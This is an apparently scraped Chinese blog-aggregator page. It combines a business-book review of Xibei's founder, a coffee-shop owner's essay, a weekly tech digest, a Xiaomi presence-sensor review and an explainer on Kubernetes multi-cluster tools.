西贝也属于几十亿营收这个梯队，23 年营收 62 亿。
餐饮行业的市场规模看起来是可以 “抗通胀的”，我想到的原因是：
- 餐饮行业的人力成本是重要的一部分支出，人力工资每年在增长。
- 原材料成本会通胀。
我也简单查了中国统计局数据，过去 10 年中国餐饮行业的市场规模一直在增长。其中：
- 2014 年餐饮收入达 29000 亿元
- 2017 年餐饮收入达 39100 亿元
- 2023 年餐饮收入达 52890 亿元
所以，餐饮行业从规模上看，是一个挺好的行业。只是能够一直坚持做好的企业不多。比如以前很火的小肥羊、俏江南，现在就已经销声匿迹。
贾国龙把西贝的成功，主要还是归因于战略选择的成功和时代机遇。其中核心的战略选择环节是：进北京、边缘开大店、进商场、全国开店。时代红利是指赶上了商业综合体的红利，很多商场给的租金比较低。
但是西贝能够持续稳定经营，还是来源于自身独特的定位（小店、小贵、儿童友好），以及对菜品品质的把控。
定位的讨论
贾国龙认为：定位理论虽然对，但是国内把它教条化了。好象除了它对，其他都错。定位理论是“小山头理论”，他们认为这是企业的唯一选择。但企业还可以做草原、做大海，为什么非得做小山头呢？
这让我想起来小米，小米用这个品牌做手机、做智能家居、也做汽车。看起来现在发展得还行。我相信雷军肯定是读过《定位》的，有一次别人问他为什么，他说小米想做“人车家全生态”，只有都用小米这个品牌，用户才能接受这样的定位。
美团也是一个案例。美团现在不停讲美好生活，大家慢慢就把美团与生活服务关联上，这样美团买药，外卖，团购，用美团这个品牌都不违和。
我认为这种“大草原”的品牌，最大的风险还是某一方面的产品投入不够，从而把整个集团的品牌损害了。记得我大学的时候是联想的无脑粉，于是第一款 MP3 买了一款联想的产品，当时其实比别的牌子要贵，但是我觉得联想这个品牌我信得过。后来我发现，这个 MP3 的产品力其实很一般，所以我的心智就变成了：“联想这家公司做 PC 还行，做别的不太行”。所以，如果不是战略选择，就不要轻易用集团品牌。
书中提到贾国龙做新的餐饮店，君智战略咨询的董事长谢伟山建议用新品牌贾国龙也采纳了。因为新品牌做失败了，大家不会因此对西贝有什么联想。
不止只是贾国龙，华与华的老板华杉也在批判定位理论（下图）。华杉认为：独特的销售主张（USP）比定位更重要。而定位理论的几个逻辑都有问题，华杉认为：
- 定位理论说：顾客导向的时代已经过去，竞争导向的时代来临。但其实我们现在大部分成功的公司，还是因为服务好了顾客才成功，而不是因为把竞争对手打败才成功。
- 定位理论要求有足够强的营销资源，但是实际上很多产品的市场规模和利润都无法支撑足够多的营销资源。
所以，关于“定位”，贾国龙说得很好：“没有对错，需要具体情况具体分析”。所以，这本书让我对定位理论「去魅」了。
定价的讨论
贾国龙提到顾问孟庆祥给他的三个启发，分别是：
- 产品要匹配营销
- 应该要投入研发，增加产品竞争力
- 有竞争力的产品，才有定价权
我很认同以上观点。小贵的产品，才有竞争力。因为小贵才能支持研发和营销的成本。
斑马的硬件产品也一直秉承这样的理念。我们的斑马思维机、斑马拼音机等产品都是属于同行中较贵的产品。但是，这并不代表我们有着暴利。我们只是把创新的成本、产品品质的成本都放到了定价中，以便维护斑马一直以来给用户的高品质的感受。
海底捞的竞争力来自于淘汰
海底捞对业务在最后 10% 的人淘汰。海底捞因为是一个个的单店模型，所以很容易横向比较。每一个层级岗位的干部，都有相对明确的业绩产出，这个时候，如果业绩产出不行，从结果上就比较好判断。
末位淘汰也给了海底捞其他干部一定程度上的危机感，避免大公司懒散的文化。
一些不好的感受
贾国龙的一些话也给了我不太好的感受。
第一个：他喜欢下指标。 比如他说中国堡一年要开 365 家店，KPI 是很容易让人走偏的管理方式。又比如说，XXX 年要上市，要做到 XXX 亿。但他也有一个对这个不好习惯的“补丁”，就是会朝令夕改。比如第二次访谈的时候，他就表示贾国龙中国堡开了 50 家就暂停了，因为发现很多问题需要解决。
有了这个补丁，大家会对他说话的权威性降权，难怪他有一个高管说，对他唯一的不满就是老变。
第二个：贾国龙把“做大做强”作为经营的最顶层目标。他为了达成这个目标，选择了更容易规模化的快餐方向，选择了学习麦当劳。在中国堡这个产品上，也有着极强的麦当劳的影子。
虽然贾国龙也知道产品为王，懂得 MVP 来验证产品需求。贾国龙也懂得风险控制，一直用合适比例的利润来做这类的探索。但是，我始终认为，“消费者导向”（用户需求）才是驱动企业增长的最顶层原因。
在“做大做强”的目标下去寻找用户需求，不知道会不会更加短视，更加急功近利，又或者是提高风险，都是未知数，所以我不太喜欢。
小结
贾国龙作为西贝的 100% 控股的股东、老板、创始人。一个在餐饮行业深耕 30 多年的创业者。有着异于同行的各种优秀品质。他热爱学习，懂得餐饮的经营管理，又有着强烈的成长和创新动机。
在西贝核心业务每年贡献几个亿利润的情况下，他不停地创新和成长，我从他身上看到了一个企业家对自身成就的不懈追求。
以上。
- 博客 太隐 2024-09-16 15:19:09我有一瓢酒，足以慰风尘
- 博客 bboysoul的博客 2024-09-16 03:42:00
- 博客 KAIX.IN 2024-09-14 11:58:11
我店里的咖啡偶尔会被新来的客人抱怨寡淡。我不介意被批评，但要做解释说来话太长。想起一件不相干的事，朋友曾跟我讲过的遭遇，他带了一些包装精美的礼品去探望亲戚时，对方带着满脸亲切的笑容说他怎么这么虚伪。那个亲戚显然是望文生义了，或许是「精美包装」和「务虚」之间的联想让虚伪这个词脱口而出，我们都知道，他想说的很可能是「客套」。近二十年工龄的咖啡师还是有这点信心的：此处的「寡淡」和「虚伪」情况类似。倒不是说这评价当中不含批评成分，但我猜客人要批评的是浓度淡而不是风味寡。
所谓浓度淡，是刻意为之。如果对我有些了解，大概会知道我向来主张清淡饮食来保持味觉敏锐。每天都喝的咖啡，自然更没道理做得过分浓烈。而且这份主张有客观标准：通过调整研磨度和萃取曲线等方式，确保咖啡的 TDS 浓度始终保持在 1.2% 左右。这个浓度值或许和流行的商业咖啡品牌的出品相比是低的，但就欣赏咖啡风味而言，则更适宜。简单说，他人口中的淡，其实是我主张的适宜浓度。在合适的萃取程度下，让一杯咖啡的浓度保持在 1.2% 左右，不但不「寡」，且正适合风味舒展，呈现分明层次。更高浓度的确能让舌头体会更集中、强烈的感受，或许这很能顺应当下生活的快节奏，不必特地分心去辨析饮品中的风味层次，只管享受刺激。但浓度过高必然导致的苦味，是我极力避免的，更别提一味追求高浓度就很容易出现过度萃取的问题……
而且，还是会有人愿意慢下来放松身心的吧，我把店铺开在二楼，一楼只留一个不起眼的门洞，搞得不少新客人找不到地址，也正是为了提供这样的场所。所以这里的咖啡不应该是浓烈到会让人无法松弛神经的。咖啡不是非得喝出什么风味才好；从淡雅的咖啡中品尝千般滋味，在宁静生活中感受喜怒哀乐，都是我想传达的态度。
fin.
- 博客 张鑫旭-鑫空间-鑫生活 2024-09-13 23:36:32
之前使用align-content控制元素的垂直对齐仅适用于Flex或Grid元素，而现在，Block元素也能使用啦！
- 博客 西秦公子 2024-09-13 21:49:15本文仅记录，用于后续老婆买完戒指不戴后的调侃。并非要求网友断案。 老婆问我：婚戒买什么？ 我方观点：买银戒指， […]
- 博客 bboysoul的博客 2024-09-13 21:25:00
简介
每周五更新，所有的更新也会发送到我的频道
规则
- pre release的不记录
- 只记录重要的更新
- 上一版本版本的bugfix不记录，比如某一个项目最新版本是7.0.0 上一个版本6.0.0发布了一个bugfix 6.0.1 那么不会记录
- 比如lens发布了一个新版本，那么openlens也会发布一个新版本，此时只会记录lens发布的信息，不会记录openlens发布的信息
- 博客 阮一峰的网络日志 2024-09-13 07:35:02
这里记录每周值得分享的科技内容，周五发布。
本杂志开源，欢迎投稿。另有《谁在招人》服务，发布程序员招聘信息。合作请邮件联系（yifeng.ruan@gmail.com）。
封面图
中国国家博物馆正在举办"巴黎圣母院展览"，来了四件雕塑原件。巴黎原址现在放的是，维修过程中替换的复制品。（via）
驴子、老虎和狮子的寓言
本周看到一个很有趣的寓言，分享给大家。
有一天，驴子和老虎发生了争论。
驴子说："草是蓝色的。"
老虎回答："不对，草是绿色的。"
他们各执己见，互不相让，争论越来越激烈。
最后，两人决定将这个问题提交给狮子法官。
他们来到狮子面前，驴子大叫大嚷："法官大人，草难道不是蓝色的吗？"
狮子回答："如果你真的这么认为，草就是蓝色的。"
驴子不依不饶："老虎不同意这一点，还出言不逊，请惩罚他。"
狮子随后宣布："老虎将受到三天面壁思过的惩罚。"
驴子非常高兴，心满意足地离开了，嘴里不停地念叨着："草是蓝的，草是蓝的......"
老虎十分气愤："法官大人，草难道不是绿色的吗？"
狮子回答："草确实是绿色的。"
老虎困惑不解："那你为什么要惩罚我呢？"
狮子回答："惩罚你与草是蓝的还是绿的这个问题无关，而是因为像你这样的高级生物，竟然浪费时间和驴子争论这样简单的问题。最重要的是，你还用这个问题来烦我，只是为了验证你已经知道是真的事情。"
这个寓言就结束了，讲的其实是，应该如何处理争论。
它的观点很简单，就是不要争论。一来，有些人根本无法说服，他们不关心真相或现实，只关心自己的信念和观点获得胜利。
他们会竭尽全力，捍卫自己是正确的，与这样的人争论，就是浪费时间。
二来，一旦开始争论，难免情绪压倒理智。当你胜负心高涨，一心想赢过对方，你的智力就会急剧下降。
我一直对自己、对这个周刊有一个想法，也希望让大家知道：不说教，尽量提供事实，如果要说出观点，必须是那些根据事实显而易见的观点。与他人讨论时，主要是澄清事实，尽量不辩论对错，如果对方无法说服，那就算了，让他赢。
科技动态
1、头戴式拍摄装置
本周，苹果公司举办新品发布会，邀请了很多自媒体作者来到现场。
来自中国的"老师好我叫何同学"，以奇特的装备引起了国外媒体的注意。
据他说，现场不允许携带三脚架，如果一只手拿手机拍摄，另一只手试用新手机，就很不方便。
他就做了一个头戴支架，把拍摄用的 iPhone 固定在上面，并且佩戴了一个单目 AR 眼镜，用来接收 iPhone 的画面。这样就能把双手空出来了，可以边看边拍。
其实，很多人都想要头戴式拍摄装置，既能看到取景框，又能解放双手，但是市场上没有这类产品。
智能眼镜是最接近的设备，可是拍出来的画质太差。哪家公司如果率先推出可用的产品，一定会大卖。
2、游轮加长手术
游轮在国外非常受欢迎，船体十分庞大，可以容纳上万人。
但是，巨大的游轮并不是一次建成的。为了减少风险，游轮公司通常会先建造一艘较小的游轮，等到确认市场需求后，再将小游轮改建成大游轮。
改建的方法是将小游轮一切为二，然后在中间加长，再把两半连接起来。
这种加长方法最经济快速，只需要几个月的时间，平均花费8000万美元，船体加长30～40米，全部为高级舱室，可以在几年内收回成本。
加长的这段时间，正好还可以进行设备大修，以及员工培训。
目前，加长后最大的游轮长458米，相比之下，美国最大的航空母舰"福特号"只有333米。
3、泡面计时器
网友甄大大本甄制作的泡面计时器，加水后，把泡面放在这个装置上面，就会开始3分钟计时。
时间到后，它会发出铃声，提醒你可以食用了。
这个装置的奇特之处在于，不需要电池，完全依靠泡面的重力势能，转换为计时的动能。
全部材料除了螺丝和磁铁，都是 3D 打印，而且模型源文件已经公开，可以下载。
4、其他
（1）苹果公司正式宣布，AirPods Pro 2 耳机可以用作助听器。
（2）SpaceX 完成第一次私人公司的太空行走，以后太空旅游就不止于舱内观光了。
文章
1、余弦相似度如何计算（英文）
一篇入门的科普文章，详细解释余弦相似度的计算方法，写得不错。
2、Cursor 一个真正让程序员产生危机感的 AI 编程工具（中文）
作者对 AI 编程助手 Cursor 的使用感受和评价。（@xiaobox 投稿）
3、Accept-Language 头有什么用（英文）
HTTP 请求的数据头，有一个
Accept-Language字段，作者解释网站可以用这个字段，决定向用户提供哪种语言的网页。4、Postgres 和 Elasticsearch 全文搜索比较（英文）
全文搜索一般使用 Elasticsearch，但是 Postgres 数据库自带全文搜索，本文比较两者的优缺点。
5、什么是企业级 Linux？（英文）
有些 Linux 发行版属于"企业级"（Enterprise），本文介绍需要满足哪些特点，一个发行版才能称为"企业级"。
6、如何优化 JavaScript 代码（英文）
本文是一篇中级教程，介绍10个优化 JavaScript 代码，提高运行速度的技巧。
7、Bash 脚本高级技巧（英文）
本文介绍一些写好 Bash 脚本的技巧。
工具
1、Applite
MacOS 的第三方应用管理器，可以一键下载、更新、卸载应用。
这个模块为 Deno 集成了 Python 支持，使得开发者可以在 JS 代码里面，加入并执行 Python 代码。
3、文颜
一个 Mac 桌面软件，可以将 Markdown 文档转换成公众号、知乎、今日头条等格式。（@caol64 投稿）
开源的 Epub 电子书的桌面阅读软件，跨平台，基于 Rust + tauri + Vue3。（@srsng 投稿）
一个简单的 Mock 服务器，可以将静态文件作为 API 接口的 JSON 数据返回。（@couriourc 投稿）
一个 Chrome 浏览器插件，可以在截屏或录制视屏时，隐藏地址栏的浏览器插件图标。（@cunzaizhuyi 投稿）
一个开源工具，提供一个 Web 界面，浏览和操作本地文件。（@xiaobaidadada 投稿）
免费的 Notion 风格头像在线制作器。（@hwlvipone 投稿）
一个从图片提取主要颜色的 JS 库，底层是作者自己实现的 K-means 算法库。（@ppzreboot 投稿）
10、Peter Cat
根据代码仓库的地址，一键创建答疑机器人，快速集成到项目中。（@xingwanying 投稿）
11、XDeck
macOS 系统的一个 Twitter 桌面客户端，代码开源。
12、AeroSpace
macOS 系统的平铺式窗口管理器，类似于 Linux 平台的 i3。
13、XPipe
一个跨平台桌面应用，通过 SSH 在图形界面上管理远程服务器。
资源
1、你想学习物理学
一位美国物理学家为本科生开的物理学入门书单，介绍物理学各个方面的基本知识。
一份简要的初学者 SQL 教程。
一个 React 图标库，提供3600多个 React 图标组件。
图片
1、日本银行广岛分行
1936年，日本银行广岛分行搬进了新建的办公大楼。
这座建筑采用欧洲式风格，使用钢筋混凝土建造，窗户上都装有铁栅栏。
1945年8月6日的早上，原子弹落在广岛。
楼内当时有20名工作人员，全部死亡。三楼的窗是打开的，导致整个顶层都被摧毁。一楼和二楼的窗是关着的，使得内部没有完全毁坏。
广岛的所有建筑中，这座楼在核爆后的状况是最好的。
当天，它就被用作伤员的避难所。爆炸发生两天后，该银行重新开放提款，并一直营业到1946年春季，才进行大修。
大修后，它继续作为银行运作，直到1992年3月银行搬走。现在，这栋楼是广岛的一个公共活动空间，作为文化和艺术活动的场所。
文摘
1、谷歌的工程师等级
谷歌的工程师有明确的等级制。
1级是 IT 支持人员，2级是刚从大学毕业的学生，3级通常拥有硕士学位。
4级需要你工作几年时间，或者需要博士学位。大多数工程师停止在5级。
6级工程师非常有能力，属于所有工程师的前 10%，是项目成功的主要原因。7级是资深的6级。
8级是首席工程师，一般会负责主要产品或基础设施。
9级是杰出工程师，受到业界景仰。
10级是谷歌研究员（Google Fellow），属于终身荣誉，通常是各自领域的世界领先专家。
11级是资深研究员（Google Senior Fellow），目前为止只有两个人：桑杰·格马瓦特（Sanjay Ghemawat）和杰夫·迪恩（Jeff Dean）。他们都是谷歌的创始员工，参与架设了谷歌的搜索服务。
商业公司的软件，最终都会患上一种叫做"功能蔓延"的疾病。
有人曾经说过的："新功能是软件开发和营销的货币。"意思是，只有添加新功能，商业公司才能让客户和投资人为软件掏钱。
这种说法是有道理的。最根本的原因是，没有用过某种软件的人，会根据功能数量来判断软件的价值。
因此，为了最大限度地提高初始销售量，公司倾向于打造多功能的产品，将新功能源源不断地添加到软件之中，直到它们把整个产品淹没。
问题是太多的软件功能，会带来沉重的负担。拥有的功能越多，维护成本就越高。
这有几点原因。
首先，因为不断添加新功能，软件就不可避免地需要重新设计，软件设计就一直在变，永远无法完成。
其次，每一项推出的新功能，都需要错误修复、客户支持，以及验证是否兼容以前的功能。这些都是巨大的成本。
再次，新功能往往意味着，产品团队将短期价值置于长期价值之上。因为新功能通常会给开发者带来荣誉、晋升和影响力，而维护旧功能是没有奖赏的。产品的长期发展，并没有得到充分考虑。
另外，太多功能会带来软件的易用性问题，让软件的口碑变差。
由于上面这些原因，越来越多的软件功能不可避免地会阻碍公司未来的发展。公司陷入了自己造成的功能困境，无法快速满足新客户和市场需求。
言论
1、
如果你一生只看过两部电影，那么你很可能会认为这两部电影都相当不错。
但如果你看过一千部电影，你就会真正知道如何分辨优秀电影。这就是为什么多看可以提高辨别力。
2、
一家媒体公司发现，上个世纪90年代它用来存档的上万个硬盘驱动器，已经有五分之一无法读取，上面的资料可能全部遗失。
人类生活已经"数字化"了，除非定期维护和备份数字介质，否则几十年后，上面的资料就可能不存在，根本无法像纸张那样，无人维护也能流传几百上千年。
-- 《是时候讨论硬盘了》
3、
一位心理学家提出，色盲不太可能挑食，原因是缺少色彩可以减轻对新食物的抵触。
4、
我认为，讨论互联网安全时，有两点需要明确。
首先，安全是无限的。你总是可以花更多的金钱和努力，让事情变得更安全。
其次，安全与用户体验和易用性是对立的。提高产品的安全性，产品通常会变得更难用。
5、
一个人千万不能习惯于舒适，因为久而久之，一点点的不适都会变得难以忍受。
-- gabe.rocks
往年回顾
"精益开发"的精益是什么？（2023 #270）
人工智能的机会在哪里（2022 #220）
软件订阅制的胜利（2021 #170）
只有开放才能打败封锁（2020 #120）
（完）
文档信息
- 版权声明：自由转载-非商用-非衍生-保持署名（创意共享3.0许可证）
- 发表日期： 2024年9月13日
- 博客 二丫讲梵 2024-09-13 04:26:44如要阅读全文，点击标题跳转。学习周刊-总第176期-doggo | certimate | x-cmd | dufs | wktline-client | Animated-Fluent-Emojis | web-firewall
- 博客 elmagnifico 2024-09-13 00:00:00
Foreword
前面看了小米人在传感器Pro的应用感觉还挺有意思的，没想到一试发现是个大坑
小米人在传感器Pro
标称覆盖
看似水平有110°，其实最有用的静态只有106°左右，垂直角度是60°，其实非常小了，同时限制了你能俯仰的角度大概就是30度左右，极限是60度，再大就会吃掉垂直角度。
由于这个东西本身检测目标是人，所以他不能被直接遮挡在各种东西后面，他的检测空间最好相对干净一些，这就限制了他的安装高度，官方推荐是1.8m，大概就是人高，如果安装越高，就需要更大角度，但是角度大了，其实就变相缩小俯视角度下的覆盖面积。
真实覆盖
图中一小格是0.5m*0.5m
可以看到最远可以覆盖7m，静态范围只能4m，看似很大？实则很坑。
7m的动态侦测，换句话说就是不稳定，移动可以检测到，但是稳定目标不行，别想做任何静态相关的自动化，不太能用。
真正宣传和侧重的都是这个静态区域，但是由于角度问题，其实上图真正可以用的范围基本只有红圈内，雷达脚下1m，左右2m的范围内存在盲区，可用性很低
为什么，因为角度问题，如果角度放的够低，会削减盲区，灯下不黑了，但是同样的远端就小了，而角度降低很容易被其他家具挡住导致更多的盲区。这样导致实际可以检测互动的区域其实只有6-8㎡，去掉一些固定家具，一些大型家具遮挡，实际可用的范围就更小了。
对比他的价格，379，这个价格我都能买三四个小覆盖的毫米波雷达了，野生人在雷达我都能买六七个了，什么样的场景会覆盖不了。
鬼影问题很严重，动态区域和静态区域来回走，就能造成好几个鬼影，鬼影消失的也非常慢。更别说走出了检测区，鬼影出现就更厉害了
安装建议
- 不能安装在空调对侧，空调风速会变，传感器的干扰源扫描并不能完美识别空调，会出现空调时不时就被认定为人，如果在强风下进行干扰源扫描，又会造成人在静态下被识别不存在，这里就会造成冲突
- 不能安装在自动窗帘对侧或者同侧，同上，窗帘在自动闭合时会认为窗帘这里有人，造成鬼影，有必要的话要把整个窗帘作为出入口或者干扰区排除
- 待检测区域最好可以在你所在高度可以与传感器的平面平行
- 传感器正下方往前一点如果有较高物体，建议换位置或者把传感器再往高架30cm，否则大部分角度会被物体遮挡
改进建议
目前看雷达的感应地图的精度太低了，可能和算力或者干扰有关系，0.5m*0.5m的地图如果是大客厅可能还可以，但是小一点的空间，这个精度太粗了，很多东西划不出来。
这个0.5同时也导致了安装难度过高，你安装完以后需要人去核对地图，这个时候你就会发现怎么安装好像都没办法说用这个传感器卡住地图，不是偏左就是偏右了（其实还是检测精度不够）
这个东西太大了，特别是配合上磁吸的安装座更大了，本来就装不高，还这么大，十分影响观感
Summary
优点还是有一些的，比如静态检测还是很稳定的，很少出现人消失误判的情况，静态区域的无人判断可以非常快
这么久以来智能家居都缺少一点点AI，这个雷达的数据总算是迈出了一步，可以结合到AI了，不过问题还是太多了，这个数据太烂了，做识别和深挖都不够用的。智能家居缺少了一个总控，可以分析收集所有数据的总控端，这个环节补上了，可能才会有新的应用场景，据说小米已经在做了，快要释放到客户端了
- 博客 张鑫旭-鑫空间-鑫生活 2024-09-11 23:18:36
Chrome和Firefox浏览器都已经支持scrollend滚动停止事件了，快进来瞅瞅吧。 - 博客 61's life 2024-09-11 22:42:3667
- 博客 阮一峰的网络日志 2024-09-11 20:52:34
一、引言
上周，我参加了腾讯全球数字生态大会。
今天，就跟大家分享，我的一点收获，就是理解了多集群工具。
软件开发的同学，应该都听说过 Kubernetes 吧。它是一个容器管理工具，本身很复杂。
可想而知，同时管理多个 Kubernetes 集群的工具，一定更复杂。但是，我这次发现，多集群其实很好理解。
当时，大会有一个演讲，关于腾讯的一个新服务，跟多集群管理有关，叫做 TKE AppFabric，讲得很浅显，我一下就听懂了。
下面，我尽量用最简单的语言，解释什么是 Kubernetes，什么是多集群工具，什么是最简单的使用方法。
二、从 Docker 讲起
为了理解 Kubernetes，需要从 Docker 讲起。
2013年，Docker 诞生，创造性地将软件应用的运行环境与源代码打包在一起，做成一个容器镜像（image）。
容器镜像本身是一个二进制文件，可以直接发布。其他机器只要安装了 Docker，就能运行这个文件。它能让软件运行在一个虚拟环境（称为"容器"）里面，从而保证运行环境和开发环境一致，避免了环境配置、启动报错等等麻烦事。
更重要的是，容器镜像是一个标准化文件，不管软件使用什么语言开发，最后做成容器，都是一个格式。因此，就可以用一个工具去处理所有容器项目的发布，完全忽略开发语言的差异。
正是因为 Docker 提供了标准化、一站式的软件运行流程，才为后来通用的"容器应用管理工具"铺平了道路。
现在，Docker 已经成为软件部署的标准。不管软件是以源码发布，还是以容器镜像发布，最后都部署运行在 Docker 里面。
三、微服务架构
Docker 出现后，大大简化了软件部署，变成只需运行容器镜像。很自然地，开发者就开始考虑，能不能把单体的巨型软件，拆分成为多个组件（即多个容器）部署？
早期的企业级大型应用，通常都是一个巨大的单体软件（monolithic），包含不同功能的多个组件。哪怕只修改一个组件，也需要把整个软件重新部署一次。
现在的实践则是，把较大的功能组件拆分出来，每一个组件都是一个独立的服务，作为一个 Docker 容器单独发布和部署。
于是，单体软件就变成了多个 Docker 容器组成的软件系统，这就是现在流行的"微服务架构"（microservices）。软件包含多个微服务，每个微服务对应一个 Docker 容器。
四、容器管理工具 Kubernetes
微服务意味着，每次发布都涉及大量不同的容器，管理它们就成了一种挑战。容器管理工具就应运而生。
各种容器管理工具之中，名气最大的非 Kubernetes 莫属。
它是谷歌开发的一款开源软件，因为词首
K和词尾s之间有8个字符，所以常常写成 K8s。它已经成为事实上的容器管理标准。
具体来说，它主要有以下功能。
（1）统一的硬件接口。开发者不必关注底层的硬件细节，不管底层服务器有什么差异，都被抽象成统一的操作接口。
（2）自动扩展。它可以根据软件负载情况，快速完成水平扩展。
（3）高可用。当某个容器失败时，它会自动重启或替换掉该容器，保证流量流向可用的节点。如果软件发布出现问题，还能自动回滚。
（4）其他功能。它还具有服务发现、负载均衡、资源监控等大量相关功能，同时带有庞大的插件和扩展，以及活跃的社区。
五、多集群是什么？
Kubernetes 的底层就是一组服务器，上面运行着许多容器。每个 Kubernetes 实例，就被称为一个集群（cluster）。
普通的软件应用，只要一个集群就够了。但是，出于下面提到的原因，企业级应用往往需要部署在多个集群。
多集群（multi cluster）可以在同一个机房，也可以在不同机房。实际应用中往往是后者，即分布在不同机房，这时如果集群来自不同的云服务商，或者是不同性质的云，就称为"多云"（multicloud）。
多集群的主要考虑如下。
（1）容灾。如果一个集群出问题，那么还有另一个集群，可以保证可用。
（2）隔离。集群之间可以做到非常强的物理隔离，从而实现上层用户（租户）的隔离。
（3）灵活性。多云有助于减少供应商锁定，可以根据需求选择最合适的基础设施和服务。
（4）合规性。不同地区可能有不同的监管要求，多集群可以为每个集群实施更精细的安全策略和访问控制。
六、多集群的挑战
多集群虽然有上一节的好处，但是复杂性也随之加倍，为使用者带来了许多挑战。
（1）配置和管理复杂性。所有集群需要一致的配置和部署，尽量消除差异。
（2）网络连接和延迟。如何保证不同地理位置的集群，有安全可靠的连接，同时最大限度地减少延迟。
（3）服务发现和负载均衡。某个服务如何发现不同集群中的其他服务，以及如何让不同集群负载均衡。
（4）监控。所有集群的指标和日志，最好汇集在一起，便于集中式监控。
（5）安全和访问控制。多集群的安全策略、访问控制、凭证管理都变得更加复杂，需要仔细规则和逐一设置。
七、多集群工具及其问题
为了解决上面的挑战，就诞生了专门的多集群管理工具，比如 Argo CD、Rancher Fleet、Karmada 等。
它们可以看作是开发者与 Kubernetes 之间的中间层，解决集群管理的复杂性。
问题是，要使用它们，必须先学会 Kubernetes，再去学习这些工具本身。这是巨大的学习成本，所以多集群工具不是针对应用开发者，而是针对集群管理员。
现实中，多集群是高度专业的领域，其他领域的开发者根本看不懂。开发者完成软件开发后，会把应用交给集群管理员，让后者去部署。
这对双方都很麻烦。一方面，开发者不能决定部署策略，也不了解底层资源，许多情况下可能不得不接触容器管理。另一方面，集群管理员会被迫介入应用层，一旦发生底层资源的调整，还需要通知开发者，让其参与进来保证应用的运行。
八、面向应用的多集群助手 TKE AppFabric
怎样才能让开发者更简单地使用多集群呢？
腾讯云的解决方案，就是增加一个面向应用的中间层，把多集群工具这一层隐藏，降低使用门槛，这种服务就起名为 TKE AppFabric。
它的名字中，TKE 指的是"腾讯云容器服务"（Tencent Kubernetes Engine），AppFabric 指的是把应用容器像织物一样编织在一起。
它面向应用开发者，定位就是"向上服务好应用，向下管理好集群"，可以看作是应用的多集群助手。
由于封装了多集群工具这一层，所以它没有复杂的专业术语，特别好懂，开发者能够快速理解和上手，不用关心底层资源，甚至不需要知道"集群"这个概念。
它的简单性，体现在下面几个方面。
首先，它使用开发者更容易理解的"可用区"（availability zone）。应用部署时，你只需要指定在哪几个区（比如广州1区、上海1区），也就是部署位置，就可以了。
整个过程都面向应用，跟 Kubernetes 解耦。这一方面，有利于开发者将更多精力放在业务上面，另一方面使得云服务商可以充分调配资源，提高资源利用率。同时，集群的升级和维护，上层用户也是无感的。
其次，它简化了设置，采用声明式设置，只需要写好声明文件即可，进一步降低了学习成本。
再次，它封装了 Kubernetes 跟应用运行相关的一些功能，让其更易用，各种监控指标和日志也汇集在一个地方，更容易发现。
九、多集群案例：腾讯健康
腾讯健康就架设在 TKE AppFabric 之上，我们通过它，来看看怎么使用多集群架设大型服务。
下图就是腾讯健康的后台架构。
上图中，网关（gateway）是访问入口，下面同时部署了三个可用区：zone1，zone2 和 zone3。它们部署在不同的机房。
这三个可用区是一模一样的，每个区都部署一个系统实例。每个系统实例包含三个层层依赖的应用：app1 依赖于 app2，app2 依赖 app3。这三个应用本身，每一个都是容器组（app pods）。
这样的架构有三个好处，可以保证高可用和负载均衡。
（1）容灾部署。如果一个可用区出现故障，可以切换到另一个可用区（比如 zone1 的 app2 出现故障，可以切换到 zone2 的 app2），保证可用。
（2）路由控制。自动为用户分配就近的可用区，提高访问速度。
（3）灰度发布。新功能可以先在单个可用区进行灰度验证，完成之后再全可用区发布，降低发布风险。
根据现场演讲，所有腾讯内部资源上云的业务，比如 QQ、腾讯会议、音视频业务都会部署在 TKE AppFabric 上面。今年第四季度，它就会对外试运行，明年一季度正式对外开放。
十、总结
对于采用"微服务架构"的企业级应用，如果业务比较重要，需要高可用，那么多个 Kubernetes 集群几乎是必然的选择。
如果公司有专门的团队，你可以选择自己来做多集群管理，否则可以考虑云服务商的工具。
我相信，越来越多的云服务商，以后可能会同时提供两套工具：一套是原始的多集群工具，专门供高级用户使用，另一套就是 TKE AppFabric 那样的面向应用、隐藏多集群细节的助手工具，供普通开发者使用。
对多集群或者 TKE AppFabric 感兴趣的同学，可以微信扫描下面的二维码，查看产品手册。
（完）
文档信息
- 版权声明：自由转载-非商用-非衍生-保持署名（创意共享3.0许可证）
- 发表日期： 2024年9月11日
- 博客 卢昌海的个人主页 2024-09-11 01:56:00Collected posts on Threads between 2024.05 and 2024.08
- 博客 土木坛子 2024-09-11 00:00:59上次介绍跨境汇款服务Wise后，不少国内朋友向我反馈，国内用户无法通过Wise汇出人民币……由于我是用UK信息 […]
- 博客 张鑫旭-鑫空间-鑫生活 2024-09-09 00:10:51
SVG光影相关的滤镜元素有5个，乍一看，还挺复杂，可细细一学，哦，原来也就是这么回事。
- 博客 bboysoul的博客 2024-09-08 22:46:00
- 博客 bboysoul的博客 2024-09-08 22:26:00
简介
每周五更新，所有的更新也会发送到我的频道
规则
- pre release的不记录
- 只记录重要的更新
- 上一版本版本的bugfix不记录，比如某一个项目最新版本是7.0.0 上一个版本6.0.0发布了一个bugfix 6.0.1 那么不会记录
- 比如lens发布了一个新版本，那么openlens也会发布一个新版本，此时只会记录lens发布的信息，不会记录openlens发布的信息
- 博客 61's life 2024-09-08 20:22:5774
- 博客 小球飞鱼 2024-09-08 08:00:00Sing For Me，My Angel Of Music
- 博客 Jiajun的编程随想 2024-09-07 08:00:00《再读《程序员修炼之道-从小工到专家》》我单独拎出几个觉得很重要的点，作为笔记。## 测试...
- 博客 西秦公子 2024-09-07 00:44:31什么要选择工伤证挂帐看病 工伤后续的恢复期相关的看病，是可以使用工伤证进行看病的。而使用了工伤证在对应的定点医 […]
- 博客 61's life 2024-09-06 23:53:2778
- 博客 KAIX.IN 2024-09-06 12:27:11
这个借助 AI 实时将生活场景转换为旁白的项目给我的感受是，听着 AI 平淡的语调不间断地描述自己眼前的景象——不见得准确，甚至可能有些离谱——可以说有一种荒诞的趣味，像是走进了黑色幽默电影里。
科技爱好者周刊第 316 期在介绍这个项目时提到了特德·姜的一篇小说《你一生的故事》（Story of your Life），不过我想到的是特德·姜的另一篇小说《双面真相》（The Truth of Fact, the Truth of Feeling）。
